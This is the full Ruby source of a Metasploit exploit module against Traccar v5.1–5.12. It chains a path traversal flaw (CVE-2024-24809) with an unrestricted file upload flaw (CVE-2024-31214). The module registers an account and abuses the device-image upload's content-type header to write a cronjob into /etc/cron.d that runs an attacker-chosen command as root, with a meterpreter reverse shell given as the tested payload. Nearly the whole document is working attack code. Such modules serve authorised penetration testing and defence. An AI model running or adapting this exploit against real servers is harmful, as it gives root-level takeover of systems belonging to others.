class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Traccar v5 Remote Code Execution (CVE-2024-31214 and CVE-2024-24809)', 'Description' => %q{ Remote Code Execution in Traccar v5.1 - v5.12. Remote code execution can be obtained by combining two vulnerabilities: A path traversal vulnerability (CVE-2024-24809) and an unrestricted file upload vulnerability (CVE-2024-31214). By default, the application allows self-registration, enabling any user to register an account and exploit the issues. Moreover, the application runs by default with root privileges, potentially resulting in a complete system compromise. This module, which should work on any Red Hat-based Linux system, exploits these issues by adding a new cronjob file that executes the specified payload. }, 'License' => MSF_LICENSE, 'Author' => [ 'Michael Heinzl', # MSF Module 'yiliufeng168', # Discovery CVE-2024-24809 and PoC 'Naveen Sunkavally' # Discovery CVE-2024-31214 and PoC ], 'References' => [ [ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-vhrw-72f6-gwp5'], [ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-3gxq-f2qj-c8v9'], [ 'URL', 'https://www.horizon3.ai/attack-research/disclosures/traccar-5-remote-code-execution-vulnerabilities/'], [ 'CVE', '2024-31214'], [ 'CVE', '2024-24809'] ], 'DisclosureDate' => '2024-08-23', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_CMD ], 'Targets' => [ [ 'Linux Command', { 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'linux' ], # tested with cmd/linux/http/x64/meterpreter/reverse_tcp 'Type' => :unix_cmd } ] ], 'Payload' => { 'BadChars' => "\x27" # apostrophe (') }, 'DefaultTarget' => 0, 'DefaultOptions' => { 'WfsDelay' => 75 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [EVENT_DEPENDENT], 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] } ) ) register_options( [ Opt::RPORT(8082), OptString.new('USERNAME', [true, 'Username to be used when creating a new user', Faker::Internet.username]), OptString.new('PASSWORD', [true, 'Password for the new user', Rex::Text.rand_text_alphanumeric(16)]), OptString.new('EMAIL', [true, 'E-mail for the new user', Faker::Internet.email]), OptString.new('TARGETURI', [ true, 'The URI for the Traccar web interface', '/']) ] ) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api/server') }) return CheckCode::Unknown unless res && res.code == 200 data = res.get_json_document version = data['version'] if version.nil? return CheckCode::Unknown else vprint_status('Version retrieved: ' + version) end unless Rex::Version.new(version).between?(Rex::Version.new('5.1'), Rex::Version.new('5.12')) return CheckCode::Safe end return CheckCode::Appears end def exploit prepare_setup execute_command(payload.encoded) end def prepare_setup print_status('Registering new user...') body = { name: datastore['USERNAME'], email: datastore['EMAIL'], password: datastore['PASSWORD'], totpKey: nil }.to_json res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api/users'), 'ctype' => 'application/json', 'data' => body ) unless res fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end auth_status = false # not quite necessary to check for this, since we exit all cases that are not 200 below, but this is a common error # to run into when this module is executed more than once without updating the provided email address if res.code == 400 && res.to_s.include?('Unique index or primary key violation') print_status('The same E-mail already exists on the system, trying to authenticate with existing password...') res = send_request_cgi( 'method' => 'POST', 'keep_cookies' => true, 'uri' => normalize_uri(target_uri.path, 'api/session'), 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'email' => datastore['EMAIL'], 'password' => datastore['PASSWORD'] } ) unless res fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end json = res.get_json_document unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL'] print_status('Provide the correct password for the existing E-Mail address, or provide a new E-Mail address.') fail_with(Failure::UnexpectedReply, res.to_s) end auth_status = true end unless res.code == 200 fail_with(Failure::UnexpectedReply, res.to_s) end json = res.get_json_document unless json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL'] fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s) end if auth_status == false print_status('Authenticating...') res = send_request_cgi( 'method' => 'POST', 'keep_cookies' => true, 'uri' => normalize_uri(target_uri.path, 'api/session'), 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'email' => datastore['EMAIL'], 'password' => datastore['PASSWORD'] } ) unless res fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end json = res.get_json_document unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL'] fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s) end end end def execute_command(cmd) name_v = Rex::Text.rand_text_alphanumeric(16) unique_id_v = Rex::Text.rand_text_alphanumeric(16) body = { name: name_v, uniqueId: unique_id_v }.to_json print_status('Adding new device...') res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api/devices'), 'keep_cookies' => true, 'ctype' => 'application/json', 'data' => body ) unless res fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end json = res.get_json_document unless res.code == 200 && json['name'] == name_v && json['uniqueId'] == unique_id_v && json.key?('id') fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s) end id = json['id'].to_s body = Rex::Text.rand_text_alphanumeric(1..4) fn = Rex::Text.rand_text_alpha(1..2) print_status('Uploading crontab file...') res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"), 'keep_cookies' => true, 'ctype' => 'image/png', 'data' => body ) unless res fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end unless res.code == 200 && res.to_s.include?('device.png') fail_with(Failure::UnexpectedReply, res.to_s) end res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"), 'keep_cookies' => true, 'ctype' => "image/png;#{fn}=\"/b\"", 'data' => body ) unless res fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/b\"") fail_with(Failure::UnexpectedReply, res.to_s) end body = "* * * * * root /bin/bash -c '#{cmd}'\n" cronfn = SecureRandom.hex(12) res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"), 'keep_cookies' => true, 'ctype' => "image/png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"", 'data' => body ) register_file_for_cleanup("/etc/cron.d/#{cronfn}\"") unless res fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"") fail_with(Failure::UnexpectedReply, res.to_s) end vprint_status('Cleanup: Deleting previously added device...') res = send_request_cgi( 'method' => 'DELETE', 'uri' => normalize_uri(target_uri.path, "api/devices/#{id}"), 'headers' => { 'Connection' => 'close' } ) unless res print_bad('Failed to receive a reply from the server, device removal might have failed.') end unless res.code == 204 print_bad('Received unexpected reply, device removal might have failed:\n' + res.to_s) end # It takes up to one minute to get the cron job executed; need to wait as otherwise the handler might terminate too early print_status('Cronjob successfully written - waiting for execution...') end end